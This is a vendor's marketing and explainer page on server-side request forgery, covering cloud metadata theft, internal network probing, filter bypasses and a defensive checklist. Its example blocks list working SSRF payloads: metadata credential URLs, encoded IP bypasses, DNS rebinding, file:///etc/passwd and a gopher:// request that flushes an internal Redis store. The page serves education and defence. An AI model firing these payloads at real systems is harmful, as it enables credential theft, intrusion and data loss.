Server-Side Request Forgery (SSRF) Testing
Your Server Just Made a Request. To Your Own Internal Network.

Server-Side Request Forgery turns your trusted backend into an attacker's proxy. They submit a URL to your application, and your server fetches it, no questions asked. Point it at http://169.254.169.254/ in AWS, and suddenly your cloud metadata potentially exposed vulnerability hands over IAM credentials, secret keys, and everything needed to compromise your entire cloud infrastructure. The request comes from inside your network. Your firewall never sees it coming.

* Run instant security penetration test on your domain.

OrSign Up for Full Access Learn More First
THE PROBLEM

Can Attackers Use Your Server to Attack Itself?

Let me show you something that catches even experienced developers off guard. You build a feature that fetches data from a URL, maybe a webhook validation, a URL preview, or an image resizer. Seems harmless enough. The URL comes from user input, you fetch it, done.

But what happens when the URL is not external? What if someone submits http://localhost:8080/admin? Or http://192.168.1.1/router-config? Or, the big one, http://169.254.169.254/latest/meta-data/iam/security-credentials/? Your server dutifully makes the request. And because the request originates from inside your network, it bypasses every firewall rule you have.

This exact pattern led to one of the largest data breaches in history. In 2019, an attacker exploited an SSRF vulnerability in Capital One's web application firewall to access AWS metadata services. The result? Personal information of approximately 100 million people in the United States and 6 million in Canada was exposed, according to Wikipedia's documentation of the breach. One request to an internal endpoint. That is all it took.

Think your application is immune?

PentestMate's AI agents find these flaws in 87% of the apps we test.

Test My App
WHAT WE HUNT

What Our AI Agents Look For

Unlike automated scanners that look for code signatures, our agents understand your business logic and test it like a real attacker would.

Cloud Metadata Service Access

CRITICAL

Testing if your application can be tricked into accessing cloud provider metadata endpoints (169.254.169.254 for AWS/Azure/GCP). This cloud metadata potentially exposed vulnerability can leak IAM credentials and instance configuration.

Internal Network Scanning

CRITICAL

We probe whether attackers can use your server to discover and access internal services. Private IP ranges, localhost services, internal APIs - all become accessible through SSRF attacks.

Internal Service Exploitation

CRITICAL

Testing access to internal databases, caches, and admin panels that assume requests from the local network are trusted. Redis, Elasticsearch, Memcached - these often have no authentication when accessed internally.

URL Parser Bypass Testing

HIGH

Applications often try to block internal IPs but parsers can be tricked. We test with DNS rebinding, IPv6 representations, decimal IP notation, and URL encoding tricks that bypass naive validation.

Blind SSRF Detection

HIGH

Even when responses are not returned, SSRF can be exploited. We detect blind SSRF using out-of-band techniques, timing analysis, and error message differences to identify vulnerabilities your logs miss.

Protocol Smuggling

MEDIUM

Testing if your URL fetcher can be abused with non-HTTP protocols. file://, gopher://, dict:// - these protocols can read local files or send arbitrary data to internal services.

Find These Vulnerabilities Now

“SSRF flaws occur whenever a web application is fetching a remote resource without validating the user-supplied URL. It allows an attacker to coerce the application to send a crafted request to an unexpected destination.”

OWASP Foundation(Top 10 Web Application Security Risks)
DEEP DIVE

How SSRF Attacks Compromise Your Infrastructure

Server-Side Request Forgery is deceptively simple in concept but devastating in practice. Your server becomes an unwitting accomplice, making requests on behalf of attackers to places it should never access. Let me walk you through exactly how these attacks work and why they are so dangerous in cloud environments.

The Cloud Metadata Heist

Cloud providers like AWS, Azure, and GCP run a metadata service that instances can query to get information about themselves. This service is accessible at a well-known IP address (169.254.169.254) and typically requires no authentication. If your application has an SSRF vulnerability, attackers can read this metadata, including temporary security credentials.

aws-metadata-ssrf-attack.sh
# Normal application functionality - URL preview feature
# User submits: https://example.com/article
# Server fetches the URL and returns a preview

# SSRF Attack - Cloud Metadata Theft
# Attacker submits: http://169.254.169.254/latest/meta-data/

# Server response reveals instance information:
# ami-id
# instance-id
# instance-type
# local-hostname
# local-ipv4
# placement/availability-zone
# security-groups
# iam/

# Attacker follows the trail:
# http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Response: "EC2-S3-Access-Role"

# Now the jackpot:
# http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-S3-Access-Role

# Response:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "wJalr...",
  "Token": "IQoJb3J...",
  "Expiration": "2024-12-19T12:00:00Z"
}

# Attacker now has valid AWS credentials
# They can access any AWS service this role permits
# S3 buckets, databases, secrets manager - all exposed

This is exactly how the 2019 Capital One breach happened. An SSRF vulnerability allowed access to AWS metadata, exposing credentials that were used to access S3 buckets containing over 100 million customer records.

Internal Network Reconnaissance

Your server sits inside a trusted network segment. It can reach internal services that are completely invisible to the outside world. With an SSRF attack, your server becomes a port scanner and service mapper for your internal infrastructure.

internal-network-ssrf.sh
# Attacker probes your internal network through your server
# They cannot reach these IPs directly, but your server can

# Step 1: Discover internal services by timing
http://10.0.0.1:22/    # Response: Connection refused (SSH exists)
http://10.0.0.1:3306/  # Response: Timeout (No MySQL)
http://10.0.0.1:6379/  # Response: -ERR wrong number of arguments (Redis!)

# Step 2: Enumerate the internal network
http://192.168.1.1/     # Router admin panel
http://10.0.0.50:9200/  # Elasticsearch cluster
http://10.0.0.100:8500/ # Consul service discovery
http://10.0.0.200:15672/ # RabbitMQ management

# Step 3: Find juicy targets
http://admin.internal/
http://jenkins.internal:8080/
http://kubernetes.default.svc/
http://vault.internal:8200/

# Step 4: Extract sensitive data
# Internal Elasticsearch (no auth on internal network)
http://10.0.0.50:9200/_cat/indices
http://10.0.0.50:9200/users/_search?q=*

# Result: Complete internal network map
# Plus direct access to internal services assuming network trust

Internal services often assume that any request from the local network is legitimate. Databases without passwords, admin panels without authentication, monitoring dashboards wide open. An SSRF vulnerability grants attackers access to all of them.

Bypassing SSRF Protections

Most developers know to block requests to internal IPs. But URL parsing is tricky, and there are dozens of ways to represent the same IP address. If your blocklist is not comprehensive, attackers will find a way around it.

ssrf-bypass-techniques.txt
# Your application blocks: 169.254.169.254, localhost, 127.0.0.1
# Attackers have many ways to bypass these filters:

# DNS Rebinding
http://attacker-domain.com/  
# First DNS lookup: 1.2.3.4 (passes validation)
# Second lookup (when fetched): 169.254.169.254 (gets metadata)

# Alternative IP representations for 127.0.0.1:
http://127.1/                    # Shortened localhost
http://0177.0.0.1/               # Octal notation  
http://2130706433/               # Decimal notation
http://0x7f.0x0.0x0.0x1/         # Hex notation
http://127.000.000.001/          # Padded zeros
http://[::1]/                    # IPv6 localhost
http://[0:0:0:0:0:ffff:127.0.0.1]/ # IPv6-mapped IPv4

# Alternative representations for 169.254.169.254:
http://2852039166/               # Decimal
http://0251.0376.0251.0376/      # Octal
http://169.254.169.254.xip.io/  # DNS wildcard services

# URL parsing confusion
http://trusted.com@169.254.169.254/    # Username portion
http://169.254.169.254#@trusted.com/   # Fragment confusion
http://169.254.169.254%23@trusted.com/ # URL encoding tricks

# Protocol smuggling (if your fetcher supports it)
file:///etc/passwd
gopher://internal-redis:6379/_%2A1%0D%0A%248%0D%0Aflushall
dict://internal-redis:6379/INFO

Blocklists are almost always incomplete. PentestMate tests hundreds of bypass variations automatically, finding the one encoding or representation that slips through your filters.

How PentestMate Hunts for SSRF

Detecting SSRF requires more than pattern matching. Our AI agents systematically probe every parameter that might accept URLs, testing for both direct and blind SSRF vulnerabilities across your entire attack surface.

pentestmate-ssrf-detection.txt
// PentestMate's SSRF Detection Approach

// 1. Parameter Discovery
// We identify every input that might accept URLs:
// - Form fields with URL validation
// - API parameters for webhooks, callbacks, fetches
// - File upload URLs, image URLs, redirect URLs
// - Hidden parameters in request bodies

// 2. Payload Injection
// For each potential SSRF parameter, we test:
// - Cloud metadata endpoints (AWS, Azure, GCP, DigitalOcean)
// - Internal IP ranges (10.x, 172.16-31.x, 192.168.x)
// - Localhost variations (127.0.0.1, ::1, localhost)
// - Out-of-band detection endpoints (for blind SSRF)

// 3. Bypass Technique Testing
// We automatically try IP encoding bypasses:
// - Decimal, octal, hex representations
// - DNS rebinding domains
// - URL parsing edge cases
// - IPv6 representations
// - Protocol handlers (file://, gopher://)

// 4. Response Analysis
// Our AI analyzes responses for:
// - Cloud metadata patterns in responses
// - Timing differences indicating internal access
// - Error messages revealing internal infrastructure
// - Connection patterns to our out-of-band servers

// 5. Continuous Monitoring
// New endpoints get tested automatically
// Regression testing catches re-introduced vulnerabilities
// Real-time alerts when SSRF is detected

Finding SSRF requires testing hundreds of payload variations across every URL-accepting parameter. PentestMate's AI agents do this automatically and continuously, catching vulnerabilities that manual testing would miss.

Still reading? Good. That means you care about security.

Most people would've clicked away by now. Let PentestMate find out if your application has these vulnerabilities - before someone else does.

Start Your Free Scan
HOW PENTESTMATE HELPS

Stop Reading About Vulnerabilities.
Start Finding Them.

Everything you have read above? Our AI agents test for all of it - automatically, continuously, and without you lifting a finger.

Comprehensive URL Parameter Testing

We identify and test every parameter in your application that could accept a URL, from obvious webhook fields to hidden redirect parameters in authentication flows.

Cloud-Aware Detection

Our agents know the metadata endpoints for AWS, Azure, GCP, and other cloud providers. We specifically test for cloud metadata exposure vulnerabilities across all major platforms.

Bypass Technique Library

Hundreds of encoding variations, DNS rebinding techniques, and protocol handlers tested automatically. We find the bypass your blocklist missed.

See It In Action

Start with a $1 trial - full access to all PentestMate AI-powered security testing

SECURITY CHECKLIST

Quick Business Logic Security Checklist

Use this as a starting point. If you're missing even one of these, you have a problem.

Input Validation for URLs

  • Validate URL scheme - allow only http and https
  • Parse URLs with a strict parser and validate components
  • Resolve DNS before validation to prevent rebinding
  • Block private IP ranges including IPv6 equivalents
  • Implement allowlists for external domains when possible

Cloud Metadata Protection

  • Enable IMDSv2 on AWS instances (requires session tokens)
  • Configure Azure IMDS to require Metadata: true header
  • Use GCP metadata concealment for GKE workloads
  • Block 169.254.169.254 at the network level when not needed
  • Rotate cloud credentials regularly to limit exposure window

Network Architecture

  • Segment networks so application servers cannot reach internal services
  • Use service mesh with mTLS for internal communications
  • Implement egress filtering to restrict outbound connections
  • Deploy web application firewalls with SSRF detection rules
  • Monitor outbound traffic for suspicious patterns

Application Design

  • Avoid passing user-controlled URLs to backend fetchers
  • Use allow-lists instead of block-lists for URL validation
  • Implement request signing for webhook callbacks
  • Return only necessary data from fetched URLs
  • Log all outbound requests for security analysis

Not sure if your system passes all these checks? Let PentestMate's AI agents find out for you.

Run Automated Security Testing
REAL INCIDENTS

Real-World Business Logic Breaches

These aren't hypotheticals. These are real companies that got burned by the exact vulnerabilities we've discussed:

Capital One (2019)

100+ million customer records exposed, $80M fine

What happened: SSRF vulnerability in web application firewall allowed access to AWS metadata

Lesson: One SSRF vulnerability provided AWS credentials via metadata service. Those credentials had excessive permissions, allowing access to S3 buckets containing years of customer data. (Source: Wikipedia - 2019 Capital One data breach)

Microsoft Exchange Server (2021)

Tens of thousands of organizations compromised worldwide

What happened: SSRF combined with other vulnerabilities in ProxyLogon attack chain

Lesson: SSRF was the initial entry point in a chain of vulnerabilities. It allowed attackers to authenticate as the Exchange server to backend services, leading to remote code execution. (Source: Microsoft Security Response Center)

GET STARTED IN 2 MINUTES

Is Your Cloud Metadata Exposed Right Now?

Every URL parameter in your application is a potential SSRF entry point. Our AI agents systematically test for cloud metadata exposure, internal network access, and bypass techniques that slip past simple blocklists. Find out if attackers can turn your server against you, before they actually do.

* Run instant security penetration test on your domain.

OrSign Up for $1 Trial
3-day trial for just $1
Cancel anytime
Full vulnerability report

Related Security Tests

Path Traversal Pentesting

Learn more

Insecure File Uploads Pentest

Learn more

Open Redirect Testing

Learn more

Explore more security testing capabilities on our main site.

Back to PentestMate